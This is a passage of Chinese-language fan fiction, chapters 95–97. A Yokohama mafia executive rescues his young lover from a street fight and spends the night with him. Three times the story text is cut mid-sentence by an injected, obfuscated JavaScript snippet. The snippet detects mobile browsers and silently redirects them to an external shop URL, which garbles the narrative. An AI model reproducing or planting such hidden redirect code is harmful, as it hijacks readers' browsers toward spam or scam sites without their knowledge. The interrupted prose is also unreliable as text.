不过,总是“老板”“老板”的称呼那个人,他不记得老板的本名叫什么。苦苦思索,快要力竭都没想起来。莫非这就是通缉令上只有代称的原因? “有几个月了吧,之前,那家伙问我打听过老板的下落。”他对身边的人说。 焚石矢扭过头来,“谁?” “和樱走得很近,叫‘苏枋隼飞’的那个人。” “……很好找吧。那个男人都上通缉令了。”焚石矢实在忍不住吐槽道。成为通缉犯后唯一的好处,就是方便别人打听其消息。他觉得那个男人成为通缉犯的槽点大于笑点。 棪堂哉真斗摆弄着手机,“嗯……我要把老板成为通缉犯的消息发给他!” * 哦。 原来你知道啊。 棪堂哉真斗的兴致像被打散的云层一样再难以聚拢。 在几年前会因为理念分歧而产生矛盾的人们约好在一间书店见面,如今也能坐在同一张桌子两侧,毫无敌意地聊些什么。 为什么是书店呢?可能因为让他们不约而同来到横滨的关键人物是个当过书店老板的男人。 书店米白色的墙会让人想起圣诞节、冬日永燃的壁炉之类的东西。空气中满是咖啡的味道,还有新鲜出炉的面包味,仿佛他们不是置身于一间开在现代都市的实体书店,而是在进门的瞬间被送到一家后厨正热火朝天忙活的面包工坊。 店里正用黑胶唱片机放着舒缓的钢琴曲,店员很少,只有一位检查小票的男性店员站在服务台后面。 他们面前的桌上立着亚克力告示牌,夹层里放着店内服务的收费细则。 “你们怎么会来这里。” “只是顺路而已,我们本来要去别的地方。” 他们如今的生活,是“居无定所”的字面意义。想去哪,就去哪,没准前天打算去大阪,后天就打算回那座凝聚了太多故事的城镇。 棪堂哉真斗问,“莫非你已经见过老板了?” “……算是。” 但那可是通缉犯啊,“你是怎么见到的?” 这个,我不能说。 但总之,“弥津先生不是你想象中的‘通缉犯’。” 苏枋隼飞言尽于此。 “‘弥津先生’吗……因为总是叫他‘老板’,我都不记得他的真名是什么了。” 棪堂哉真斗想从苏枋隼飞口中得到答案。 只是一个姓氏而已,是可以说的吧。 “‘佐久间’。” “哦!是这个来着,‘佐久间弥津’。” 打理台面的店员悄无声息地抬头望着他们这一桌,几人却都没有发现店员投来的视线。 这个时候,书店里客人极少。说实话,他们之间没有太多共同语言,简单聊聊已经是极限了。 “你居然在横滨定居了?” “不算永久定居。只是这几年会在这边生活。”要看弥津先生的情况。 靠着身后的软包椅背,棪堂哉真斗感叹道,“还有点想再见老板一面呢。” 要不,我们也多留几天?他问身边的好友。 仿佛天气变冷,人也变成了电量快要耗尽的机器人。 焚石矢安静了很久,才说,“行。” 他对那个男人毫无想法。 没有想见的冲动,也没有厌恶之情。他像棪堂一样,不记得那个男人的名字,印象里也仅有那次不知算不算“并肩战斗”的经历。已经过了几年,那个危险的男人活不活着,在得到准确的消息前,都是被迷雾包裹的信息。通缉令的存在,也许正是对他们这样的人示意,“瞧,那个人还活着,而且变成了兴风作浪的通缉犯”。 棪堂想留,那就留下吧。 冬天,在哪过都一样。 反正,等天空降下大雪,温度低到连出门都是一场冒险的时候,他们就只会呆在室内了。 只有苏枋隼飞绞尽脑汁想让两人放弃这种想法。 “他身份很特殊,我觉得,你们最好还是……” 别想着见一名真正的“通缉犯”了。 和他交情少得可怜的红发青年瞥了他一眼。 之后几天里发生的事,让苏枋隼飞想彻底和这两个家伙摊牌——弥津先生不是普通的通缉犯,是黑手党组织的干部,他们这么找是找不到的。 他不该和他们承认自己见过弥津先生的。 等他发现这两人在横滨干了点什么,再想补救也已经迟了。 他走进传来打斗声的巷子,七拐八绕,在一堆垒成山的“尸体”旁边看到了正在找地方放烟花的人。而另一边的棪堂哉真斗则把没能回答出他问题的人打晕过去。 “……你们这样是找不到的。” “那你倒是把他的下落告诉我啊,这样我就不用在每次和这种家伙起冲突的时候挨个问,‘你认识老板吗’、‘你认识佐久间弥津吗’的笨蛋问题了。” 棪堂哉真斗也知道那种行为很傻。 但没办法咯,他们只能这么一边打架一边尝试找线索。 平静如死水的人生是无趣的。但这次决定在横滨多停留几日,他们意外发现了很多乐趣。 他对着脚下的“尸体”踢了一脚。 这里的小型恶势力胆子比其他地方大很多。 站在空地入口,苏枋隼飞蹙眉看着那些被揍得毫无反抗能力的人,语气不可避免得严肃起来。 “这里是真实存在犯罪组织的城市。” 非法组织拥有的不只是简单粗暴的体术打斗,还有枪械和超乎他们想象的能力。 “你们搞出了不小的动静。” 苏枋隼飞是来带这句忠告的,他会担心多少算认识的人会像弥津先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936503|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生所说的那样,在这座并不安全的城市“出事”。 “我们没有找麻烦,是麻烦找上了我们。而且,会找我们麻烦的人,一定不会是装备枪械的组织。” 只是些生活在昼夜缝隙中,靠偷取猛兽饱餐后的残羹剩饭度日的小老鼠。 枪械那玩意……棪堂哉真斗可没忘。当年出现在老板眼前的家伙因为带着来路不明的手枪,被异常生气的老板狠狠揍了一顿,顺手缴了械。 明明带着枪,却没被老板留给他开枪的机会,那该多丢人呐。 老板亲自动手揍人可是十分难得的场景。他敢断定,那是连苏枋隼飞都没见过的东西。 对二人之间的对话置若罔闻,平时最讨厌别人妨碍自己的焚石矢此刻心情很好,所以没计较戴着眼罩的家伙对他指手画脚的事。虽然这些家伙体术一般,还爱用派不上用场的简易武器,但贵在皮糙肉厚。 他弯腰拿打火机点燃烟花引信,接着后退两步,仰起头欣赏起在当地买来的烟花。没有庸俗的花样,也没有炸耳的响声,最基础但也最经典的烟花,永远都是漂亮的。 “回去了。” 今天还是没能找到那个男人的消息。难道通缉令不管对象死活吗?焚石矢想着。莫非那种家伙死在别的地方了。 “好哦。”棪堂哉真斗立刻应道,“好看,哪买的。” “旁边。” 望着空中亮起的烟花,苏枋隼飞的心情实在复杂。二人从他身边经过时,他最后看了眼那些只是被揍得惨但没有生命危险的家伙,没有同情,径直转身离开。 ……正如弥津先生的态度。弥津先生是“杀死”了很多人,但也同样抱有终将被杀死的觉悟。 如果没有做好准备,就不要干坏事了。 可还没走出巷口,走在他面前的二人就停住了。 几乎同一时间,他也看到了。 那些拦在前路上的人。 好些年没见,这两个家伙果然还是不懂畏惧为何物。 “所以我早说了,”棪堂哉真斗挥出一记直拳,为自己洗去了强词夺理的嫌疑,“是麻烦先找上我们的。” 身体比脑子先一步动起来加入打斗。踹飞对手后,苏枋隼飞在心里直摇头。他不仅不该对棪堂哉真斗承认自己见过老板,也不该担心出事而循着二人留下的痕迹找过来。 可突然间,路灯下,方才摔倒在地上的人龇牙咧嘴地冲他们拔枪。焚石矢二话不说一脚将其手中的枪踢飞,接着狠狠踩在刚刚遭受了过肩摔的人肩膀上。 苏枋隼飞早就知道生活在横滨迟早会遇到枪手。 但他没想到会是今天。 更讽刺的是,他们不久前明明谈论过此时。 手枪被踢飞,落到他身边不远处。直觉告诉他,他该捡起来。 可捡起来之后,反而让他陷入画地为牢的境地。 他知道自己开不了枪。哪怕敌人中也有枪手,他仍然做不到回忆起弥津先生教过他的上膛方式,干净利落地对一个鲜活的生命开枪。 ……他做不到。但他更不能丢掉,让枪重新落入对方手中。 然后,霎时间,一切都变得面目全非。 无人预料得到的电流从他身后瞬间奔涌至敌人面前。像一阵带着杀伐气的狂风,又像夏日的倾盆大雨。 银白的闪光将小巷照亮,也照亮了敌人晕厥前惊恐的面庞。 一只戴着手套的右手握住了他的右手,从他手里轻松夺过了枪,随之而来的是他曾经在弥津先生身上闻到的气味。 他知道那是香水的味道,是弥津先生的同事赠予他的礼物。 从他身后靠近的人将另一只手抚上他的脸,把他仅剩的视野也霸道剥夺。 用手护好耳朵。 熟悉的嗓音对他说。 他只能照做。 95.动手揍人的干部 即便捂着耳朵,也没能彻底掩盖耳边的枪声。 感觉,弥津先生只开了一枪。 这也没办法吧,想要遮住他的眼睛,只能单手拿枪了。这意味着被踢飞前子弹已经上膛,亟待被击发。稍微有点……凶险了吧。 遮在他眼睛的手拿走,弥津先生强行按着他的肩膀,把他推往旁边。 他不由得看向弥津先生,却发现眼前人身上的衣物极其单薄。在深秋的寒夜里,上身只着一件黑色衬衣,配以同色的西装长裤。 衬衣袖子挽起,右胳膊露出的肌肤伤痕累累。 他见过弥津先生右胳膊上的伤。从手腕到肩头,几乎没有一处完好无损的地方,陈年旧伤与新伤和纹身混在一起,伤痕愈发可怖。 那些伤口还会疼吗,弥津先生回答他,已经没感觉了。万幸的是没有完全伤到神经和骨头,虽然对开枪的准头有影响,“但我本来不擅长枪械。” 那只握着手枪的右手开完一枪,推开他后立即上膛,对着苟延残喘的敌人开了第二枪。 “别扭头。看着我。” 紧盯敌人的黑手党干部对着身边的人下了这样的“命令”。 他依旧照做。 视野里便只剩下眼前的青年。 执枪的手戴着漆黑的手套,可手套边缘的肤色却在不够明亮的路灯下显得越发白皙,近似于泛着一层让他意识恍惚的柔光。 ……幻觉吧。 弥津先生眼中的那抹玫红此刻也如血般艳丽。 他脱下自己的外套——他至少没有在外套里面只穿一件适合初秋的单薄衬衫——在弥津先生收起枪后,披在他肩头。 那双漂亮的玫红色眼瞳凝视着他,没有拒绝,但不动声色地推开情不自禁想要拥抱眼前人的他。弥津先生轻轻捏着他的脸,语气平淡地说,“别看那边。” “……我明白,弥津先生。” “和我走。” 难以违抗。他心想。 弥津先生是个应该发号施令的人,毕竟“工作”是如此。和他相处时多了太多人情味,但这种时候就算是冷冰冰地“命令”他,他也会照做的。 走在他身前的人步履平缓,低头快速拆掉了拿在右手的手枪弹匣,检查过子弹数量后重新装好。刚走近巷口,他就看到了等在路边的青年。 戴眼镜的青年站在车门边,时不时低头看一眼腕表。 ……紫苑先生? 是他之前见过的人。 他也曾好奇过,戴眼镜不会妨碍这位先生行动吗。 手枪被交到青年手上,而他披在弥津先生肩头的衣服也被还了回来。 随行的青年打开后座车门,提着一个装衣服的纸袋。 “明天再处理吧,现在有点晚了。”接过纸袋的人说。 紫苑刻在心里宣布今天自己下班了,“好的。” 虽然晚上八点才下班是有点迟。但和还在总部亮灯的办公室收尾的镜优相比,这个时间点已经够早了。 听到身后逼近的脚步声,苏枋隼飞下意识回头。 现在能回头了吧。 来人情绪高涨,高呼道,“老板——” 正在穿外套的人沉默着,静静地等想要揽他肩膀的人带着一腔热情靠近。 随后,下了狠劲的一拳砸在棪堂哉真斗脸上。 毫无防备也不想防备的人被这带着私人恩怨的一拳砸得倒退两步。 抬头望着几年没见的青年,棪堂哉真斗眼中没有被打中的愤怒,只有“老板今天居然动手揍人,被揍的还是自己”的惊奇。 一身黑衣的青年眼神瞥向棪堂哉真斗身边的焚石矢,被这道视线锁定的人一副事不关己的态度,装作无事发生一样朝旁边挪了两步,和看起来也想给他一拳的男人拉开距离。 仿佛刚才是棪堂的脑袋不小心撞上了青年的手。 “别给我添麻烦。”认识这两个家伙真的很丢人,干部先生想道。 棪堂哉真斗揉着受重击的脸,仔细打量起老板来。说实话,老板这一拳还挺疼,但老板的表情一点都看不出来有生气的样子,依旧像面瘫似的。也看不出来有哪里像“通缉犯”。 通缉犯不应该躲躲藏藏,不敢以真面目示人吗?老板怎么看起来像个……像个开着豪车出门的大少爷。 诶?老板刚刚是不是瞪了他一眼。他只是很想见成为通缉犯的老板一面而已,有什么错呢。世界上居然也有这种通缉犯。通缉令挂在城市里人人可见的交番告示板上,居然还生活在这里。 “已经见过了。尽早离开吧。” 这是“命令”吗? 被反问的人很快失去了沟通的耐心。 干部先生转过身,手搭着车门,慢慢攥成拳。 就算是傻子也该明白,现在再不说点什么缓解气氛就彻底完蛋了。 “好了,老板……我们明天一早就会走的。如果不是对你摇身一变成了通缉犯很好奇,我们早就到下一个目的地了。” 棪堂哉真斗识相地慢慢向后退到焚石矢旁边。 今日暂时充当司机的人面无表情地看完上司对着那名年轻人挥出了今日的第二拳,拉开车门,询问道,“要先回总部吗?” 终于有些解气的青年低声回答,“嗯。” 青年回头望了一眼和自己关系匪浅的人,顿了顿,对其说,“你也回家去。” * 没对棪堂哉真斗实实在在接下的两拳做何种表示,苏枋隼飞目送那辆车在街头飞驰而过,带着自己喜欢的人去往他无法靠近的地方。他回过头来,看着蹲在地上对弥津先生发牢骚的人,“我早说过,你该放弃见他的想法。” 如果不是看在彼此有点交情的份上,弥津先生可能会杀掉你们。 擦掉点点鼻血,蹲在地上、略显狼狈的人站起来,望着车辆消失的方向,心里对现状门清。 “我说,你是不是知道什么,老板现在是做什么的,直说吧。反正我们明天就要离开了。” 棪堂哉真斗故意没躲老板的拳头。 当然啦,他如果躲开或者反击的话,老板一定会用奇奇怪怪的能力让他瘫软在地上的。那不是更惨吗?不如老实承受老板的怒火。况且,老板身边那个男人手里的枪也会对着他开火吧。再怎么权衡,都不如被老板揍两拳来得赚。 “有实权的犯罪组织高层。成为通缉犯的原因和你们想象中差不多。” 所以,他才会说,你们别去见弥津先生。 “恐怕你们的行踪早就被监视了。”弥津先生今日会出现,莫非是判断今天找上门来的对手会使用枪械? “‘监视’?还真是可怕呢。”虽然嘴上如此说着,棪堂哉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16940669|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真斗根本没把这件事放在心上,“但他为什么没赶你走,只赶我?” 苏枋隼飞脸上露出一种让人捉摸不透的微笑。 当然是没赶走啊。 看这二人的态度,是当真准备离开了。但他还是要叮嘱一句,“弥津先生一定希望你们忘记他。” 闻言,准备离开的二人都回头看着他。 “什么意思。” 焚石矢受够了一些说话不清不楚的人。 “只是字面意思。弥津先生认为,社会关系正常的人和他扯上关系不是好事。” 就算棪堂哉真斗和焚石矢的生活离不开纷争,可是,和一位亲手犯下诸多罪恶的黑手党组织干部相比,这两个人的所作所为依旧不完全属于“犯罪”,甚至可以辩称为追寻自我的生活方式。 可他深知弥津先生和旁人的不同。 “也许,此时此刻,我们周围就有人在监视我们的一举一动,直到你们离开横滨,才算完成弥津先生的命令。” 只不过,他面前造成这一窘境的二人不在意,他也不在意。 “想要过更自由的生活,你们得当做自己不认识他。弥津先生离我们还是太远了。” 他自然明白黑手党组织的干部和“普通人”之间的差距实在很大,行动准则,性格特质,将自己藏身在黑暗中的人拥有常人难以理解的思维观念。 幸好,距离虽远,他会想办法追上去的。 之后,他同那两人分道扬镳。 步行一段路程,就离他如今的“家”不远了。 可无论是在客厅放着电视上的重播节目,还是回厨房检查冰箱里为明日准备的食材,他脑海中总是浮现不久前站在自己面前的弥津先生。 实在是让人念念不忘。 可他绝对不能当着别人的面问,弥津先生今天晚上要不要和他回家。如弥津先生所说的一样……他们的关系只能藏在地下。 弥津先生身上不只有右胳膊受过伤,他全都见过。腰侧、后背、双腿,有在明亮灯光下细细对比才能发现的痕迹,但弥津先生自己不记得自己身上为何会有这些痕迹,也难以判断是随时间愈合的伤疤,还是身体上的其他毛病。 在他问起时,弥津先生只说,可能是十几岁的时候受过的伤,他忘了。 十几岁的时候就加入了黑手党? 当时,弥津先生抚摸着他的脸回答他,“嗯。十五岁的时候。” 那真是太早了。 此后,弥津先生再也没提过那些事,他也没再问。 最严重的伤并非右胳膊,而当属肋骨下面,腹部的位置,相当大的一片……难以形容的伤口,像被撕去一块血肉,他想象不出是何物造成的。 弥津先生对这些伤不以为意。 “组织里的医疗部门很优秀,不用担心我。” 无论如何优秀,看到弥津先生受伤,他都是会心疼的。 夜深人静,如果他没有听到幻觉一般的锁车门声的话,他早该关灯休息。 听到这样的声响,他下意识回头。盯着纹丝不动的房门,心跳却不由得变得剧烈。 终于,房门被外面的人打开。 弥津先生有家门的钥匙。 在一室的明光下,分别一个小时的人再次出现在他眼前。 简直像做梦似的,他想。 96.过着荒谬生活的干部 “就是这样的情况,佐久间先生。” 发觉上司无可奈何地叹了口气,枢川伶司便领会到佐久间先生的意思了。 “是认识的人吗。” “……嗯。以前在外地认识的。” 枢川伶司不了解上司被召回前的日子,但据说是在挺远的小地方过着无比平静的生活。 他带来的几份录像显示,近几日,有两个举止奇怪的年轻人和横滨本地的小型社团组织矛盾不断。只局限在武力争斗层面,但每次都会问对手两个问题。 “你认识老板吗”以及“你认识佐久间弥津吗”。 ……那两个笨蛋。佐久间弥津忍不住在心里暗骂一句。在这种节骨眼上给他添什么乱。虽然已经从苏枋那边得知这两个笨蛋的想法,但谁能想到笨蛋的做法会那么丢人。 上司的态度没有枢川伶司最初想得那般尖锐,没想夺走那两人的性命。 要放任他们,还是想办法解决掉呢。 上司说,等他们碰壁就会自己跑掉了。 佐久间弥津以为,就算那两个家伙真的是笨蛋,还是能分清生死的,遇到硬茬知道该逃跑。 ……但是啊,佐久间先生。他把那些录像看过好几遍,那两人的身手着实不错。只要不主动招惹恶名在外的家伙,是不会把自己撞得头破血流的。 佐久间先生立马投入了下一份工作中,对这点小事不甚关心。 那么,关于那两个外地人的事,就由他擅自做主了。 此外,佐久间先生的办公室也有了些变化。 他本就觉得上司办公室摆一墙机械键盘有些奇怪。虽然佐久间先生的电脑屏幕上的确放着一堆游戏图标,但查过游戏账户数据就会发现,佐久间先生的游戏时长大多为零。仅有一个讲述骑士故事的单机游戏有被打开过的迹象,并且进行到了最后一幕。很遗憾,游戏所用的语言是意大利语,他看不懂文本内容。 他怀疑办公室的装修风格只是佐久间先生做给别人看的,做给首领或者其他干部成员。以上司的敬业程度,很难想象他会一个人呆办公室里只为打游戏。 给电脑接入情报部门的数据,桥梁就搭建好了。 那天的佐久间先生凝神望着那面墙,对身边的镜优说,想办法把键盘都搬走吧。 “买来没用过。没地方搬的话,就放进仓库吧。” 谁知镜优扭头看着还没离开的他们,把搬键盘的任务推到了他头上,还美其名曰,顺手的事。 哪里顺手了。 这两年共事下来,他知道镜优的性格是有点毛病,还总是凑在佐久间先生面前说点有的没的。 可没办法,谁让佐久间先生愿意把这人放身边。 于是他也没客气,问上司能不能把那些键盘变成情报部门成员的私人用品。 佐久间先生果然同意了,没有半点犹豫。 空出来的架子上分门别类地摆放了一部分纸质文件,还有些相片之类的东西,另一边则是几支型号相同的手枪,下一层放着几箱子弹。起初他没意识到上司为什么要在办公室摆子弹,在他印象里,佐久间先生很少用枪。直到最近,他亲眼看到要外出的上司从箱子里抓了几颗子弹,放进风衣口袋里,并且没带枪。 ……也许这就是干部成员特殊的战斗方式吧。 ——佐久间弥津也是从自己的上司那学来的,但枢川伶司不知道。 虽说佐久间先生不想理会那两人,但有些情况他还是得说明。有人向他提了一嘴最近的情况,眼看着纷争逐渐升级,在预感半个小时后可能会发生不妙的事时,他便立刻转告给了上司。 后面的事,他自然是不了解的。 因为他再见到上司,已经是两天后了。 * “明天,和后天,我请假了。” 佐久间弥津说着,用摘掉手套的手推开想要拥抱他的人。 “等我收拾好。”再做别的。 最近,异能特务科终于发来了新的消息。 会议定在三天后,当面和异能特务科谈的人只有两个,他和公关官。再无商量的余地了吗?他说。他为什么要和异能特务科的人共处一室。他可是通缉犯,被下圈套抓了怎么办?难道要靠首领把他从异能特务科的牢房捞出来吗? “这种时候,你才想起你是通缉犯了吗。别拿通缉犯当幌子,都说了是异能特务科要求见你。” 视频会议行吗。 “不行。如果你中计了被抓了,我会‘亲自’带人把你救出来的。”负责对外事务的人不客气地一拳砸在干部先生的办公桌上,表示这件事没得商量,“你必须到场。还记得通缉令上的编号吗?” “401W4。查出了什么。” “被你们不加收敛地暴力摧毁的异能研究机构,代号‘王女’的组织盗走过他们的实验数据。考虑到你曾经被那个机构盯上过,以及在交易现场发现的装置,异能特务科极度怀疑你又被当成了一号靶子,而那是一串样品编号。” 公关官特意用了“又”。他冲面色依旧平静的干部先生笑了笑,“钢琴家是二号。对方的目的是逐个击破,直到毁掉我们的组织。” 那水落呢。佐久间弥津问,“还有,要怎么解释那些自相残杀的王女成员。” “异能特务科会给你解释的。水落望音的情况,难道不是你知道得最多?”毕竟你们是“朋友”。 那双眼睛瞥了他一眼。 他哪能发觉不了佐久间对他的反问语气感到不适。他算是实际发觉,佐久间对他的态度越来越差了。 佐久间误会了,他可没有半点嘲讽的意思。 佐久间欧洲部门前成员的身份早已不是秘密,来自欧洲部门的两位成员一前一后升任干部,放在知情人眼里,也没什么,毕竟二人的实力不容置噱。如今的港口黑手党,怕不是最不担心被敌人从内部瓦解的时候。要他们的首领怀疑钢琴家想要叛逃,还是让一同自欧洲部门培养起来的二人忘却过往交集,互相猜忌? 比让他答应佐久间不去旁听会议难千百倍,“你想说什么,直说吧。”虽然不算他的顶头上司,但怎么说也算上级,还这么委屈自己,把对他的不满憋在心里,佐久间身上还是有点好笑的幼稚。 “……没什么。水落只会和我说,别担心他。” “如果你的‘同事’到了需要你担心的时候,那才叫糟糕。”他也看到了佐久间新留在身边的年轻人,“特意从欧洲部门抽调人手回来,你有别的想法?” 佐久间对他摇头,但只会让人觉得他在欲盖弥彰。 干部先生只好强调,自己仅仅是为了给优减负,“风间是个文职人员。此外没有别的意思。” 转身离开的人哼笑一声。 “还以为你太挂念欧洲那边,以至于要放个人在眼前才能抚慰自己的焦虑心情。” 他哪有那么脆弱,把他当成什么人了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946264|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 如果有什么真的能成为抚慰他心情的事—— 今日正式下班的干部先生还是在眼前人露出稍显落寞的表情时,主动拥向那具身体。 “再等一下。” 这样的生活是不是有些荒谬了。 接过苏枋从半开的浴室门递进来的家居服和浴巾,他在心里想道。哪怕只早半年,他都不敢断言自己会过上有男朋友——或者说恋人、甚至于是“情人”、爱人——的生活。 他认为自己是个能在寂寞中度过余生的人。 虽然现在优和自己住在那边的家里,但他呆在欧洲的时候就和别人同住过了。没什么大不了的,只是像中学时也会有社团合宿那样的关系而已。不仅如此,他也在别人家里留宿过,其中包括他的上司,港口黑手党的首领。 说实话,能否承受“寂寞”这种事,还是因人而异吧。以往,优总是在他身边,而被工作占据一天当中的绝大部分时间,自然也极少和孤单寂寞挂钩。哪怕是辞职去外地开书店的日子,也与此毫不沾边,毕竟那是个常常有架打的地方。造成现状的原因之一,风铃高中的学生,还都蛮喜欢他的书店的。 孤独和寂寞压不垮他。 平日里下班回家又有优和他闲聊到睡前,又哪会感到寂寞。 在水汽升腾的浴室,他盯着快速流走的热水出神。 他刚才离开办公室时对优说,今天得麻烦他一个人回家了。优的表情明明是已经发现了什么,但咬着牙不肯说的样子,只是点头表示明白了。 唉。 等关系稳定下来,也等他找到平衡工作和新生活的方法,再和亲近些的人谈这件事吧。 但何等荒谬。他这种人,居然也能过上这样的温馨生活。 下班有家回,而且家里有人会因为自己回来而高兴。他的脑子快要被浴室里的热气熏坏了,要不然,就是脸被熏热了。 刚一走出浴室,苏枋毫不介意他周身的潮湿空气,立刻抱紧了他。他不得不再次把人推开,“等我吹干头发。” 他的头发还湿乎乎的,别蹭到衣服上。 “我帮你,弥津先生。” 他也知道太忙工作的话是会让苏枋有种被冷落的错觉的……可他一天都没想冷落,只是真的有点忙。消息做不到及时看,但看到了就会及时回。有时候手忙脚乱的,为了避开别人的视线,他会躲地牢角落里悄悄看苏枋发给他的照片。在下属面前一副低头族的样子,终归是不太好的。 原来这就是“谈恋爱”? 的确是很热闹的生活,热闹又有趣。 他习惯性地双手抚上苏枋的脸,轻轻吻上面前人的额头,答应道,“好。” 苏枋选择的“家”里为他准备了很多东西。属于他的家居用品,按照他的颜色偏好买下的几套家居服。 替他吹完头发,苏枋又牵住他的手,带他去看衣柜。 看衣服风格,显然是苏枋给他买的。 他扭头问,“你怎么知道我穿什么尺寸的衣服。” “因为,上一次你睡着之后,我把——” 苏枋隼飞把面前人脱掉的衣服都量了一遍。 “……够了。“ 佐久间弥津立马打断苏枋隼飞未说出口的话。不用解释了,他明白了。 他刚才说的,明天和后天都请假的意思是…… “做你想做的吧。” 时间很充裕,明天也不必早起。 97.为雪天做准备的干部 横在他腰间的胳膊不敢碰他身上的伤口,刻意避开了。虽然那块伤口看着是有些狰狞,但把灯关掉之后,就什么都看不到的吧。在黑暗中,他牵起苏枋的手轻轻按在疤痕尚未褪去的腹部,耳边听到的呼吸声尚未平静,又因此变得稍微急促起来。 苏枋的手心温热,贴在伤口上,他却忽然忍不住想笑,“明明敢对我做这种事,却会畏惧我身上的伤?” 但凡苏枋心里还有点顾虑,他们都不会变成这种关系,也不会在一起过夜。刚才折腾他的劲呢,已经消失了吗? “只是会担心而已,弥津先生……就算已经不会出血,剧烈运动的话伤口也可能撕裂吧。” 苏枋的手抚向他腰间,皮肤上瞬间掠过一丝让人忍不住颤抖的痒意。他只得赶忙按住苏枋的手,在心里叹了口气。 如果一直过这样的生活,先不说他的身份会不会导致苏枋在横滨遇到危险……他的身体会先一步变得酥烂吧。一味沉溺在美好的感情里无法自拔,身体都要软掉了…… 他一边在心里命令自己不要醉心于和自己格格不入的美好,身体却忍不住先一步沉浸其中。 最后一次了。 他默默规劝自己。 反正……反正他明天请假了。 这么想着,他不管不顾地回应了黑暗中的亲吻。 * 睁眼看到不太熟悉的天花板,佐久间弥津冷静地思考一阵,才想起昨天自己没回家,而是亲自驱车来这里,陪苏枋过夜。 提前请假是多么具有前瞻性的决定。对着镜子扣好衣服纽扣时,镜中自己脖颈上的点点痕迹,和之前的下场简直一模一样。 教训还真是一点都不想吃。 昨天晚上没来得及细看衣柜里的衣服。倒也没必要为他准备这么多。他平时对穿着没太讲究,工作中的风格总是那么一种,也没机会改,更不想花时间在出门前的准备上。 他起得比苏枋晚一点。也许不只一点,因为他隐隐约约听到了苏枋出门的声音,似乎还吻过他。现在人还没回来。余光看到昨天进门前挂起的外套,他才想起给用光电量的手机充电。可转头又一想,自己没带充电线。 真是太疏忽了。 所以才说,沉溺在比美梦还甜美的温柔里是会让人失去理智的。 所幸,他没花多少时间,就在苏枋放各种小工具的抽屉里翻到了一根合适的充电线和配套的充电头。手机连开机的电量都不剩,插好线之后,屏幕上最先跳出黑底白线条的电池图标。 和他的伞一个配色。 他回过头,在视线良好的白天观察起苏枋暂时租住的房子。 看天气预报,最近会下雪。可能是下午,或者是明天。横滨急需一场大雪掩盖即将被推到台面上的秘密。 要不要提出来呢,他可以给苏枋提供更好的条件。 虽然这里也不差。如果今天不是阴天,现在不是冬天的话,此刻,家里应该洒满明媚阳光,而不只是弥漫冬日一贯的灰白和冷寂。 于是,当苏枋提着一袋东西回家时,他说,“我给你准备其他住处吧。” 他几乎把全部的人生送给了组织,想在横滨为苏枋提供更好的条件易如反掌。若是苏枋不愿意离开这里,那就作罢好了。 把手里提着的药放下,苏枋隼飞意外地看向站在沙发边的人。 为什么忽然这么说,这里不也挺好。虽说绝对比不上大都市的富人区,可恰好是这样的普通居民区才最适合生活。但他不妨先问,弥津先生准备让他搬去什么地方。 “看你。你想去哪就去哪。” 佐久间弥津能满足苏枋隼飞的一切需求。 苏枋隼飞说,“那就不去别的地方了。” 其实,只要是和弥津先生居住在一个城市,哪里都可以。他已然在这边住了几个月,频繁搬家,会花很多时间吧。 弥津先生没有再谈这件事,目光放到他带回来的塑料袋上。 是些常用药品。 借着清早从窗帘缝隙中溜进室内的光线,他认真地端详过弥津先生胳膊上的伤。和他同床共枕的人还没醒过来,胳膊压着被子的一角。袖子向上移位些许,小臂的伤暴露在他眼前。 他抬起自己的手,回忆起昨夜触摸到的大面积创口,心情忽然有些低落。 这真是他最害怕看见的事。 弥津先生口口声声说,组织里的医疗部门很优秀,可再优秀的医生,没办法阻止别人受伤吧。 眼神瞟到弥津先生脖颈上的痕迹,他突然精神了。 糟糕……明明上次答应不再那么干的。弥津先生会生气吗?还是再次口头警告他呢。 他轻手轻脚地下床,站稳后,才俯身轻轻吻上弥津先生的侧脸。 他没办法左右弥津先生的决定,但他也会觉得,如果他们本就过着这样的生活该多好。眼前的弥津先生是真实的,他们成为了恋人也是真实的,只有未来是不可预知的。 不过,不管未来会发生什么他们预料不到的事,他会一直留在这座城市,直到……直到有一天,弥津先生对他说“一起去别的地方吧”这种话。他期待有那么一天,哪怕是弥津先生问他要不要一起去英国,他想自己都会毫不犹豫的答应。 今日他们都没早起。他是比弥津先生醒得早一点,可实际上许多商店已经开门了,药店自然也是。他买了些家庭必备的常用药,想了想,又多买了些医用消毒酒精和止血绷带这类的。 天灰蒙蒙的,最近要下雪了。 “嗯,快了。”弥津先生回答了他,又问,“怎么去买了药。” “突然想到家里应该准备一点。” 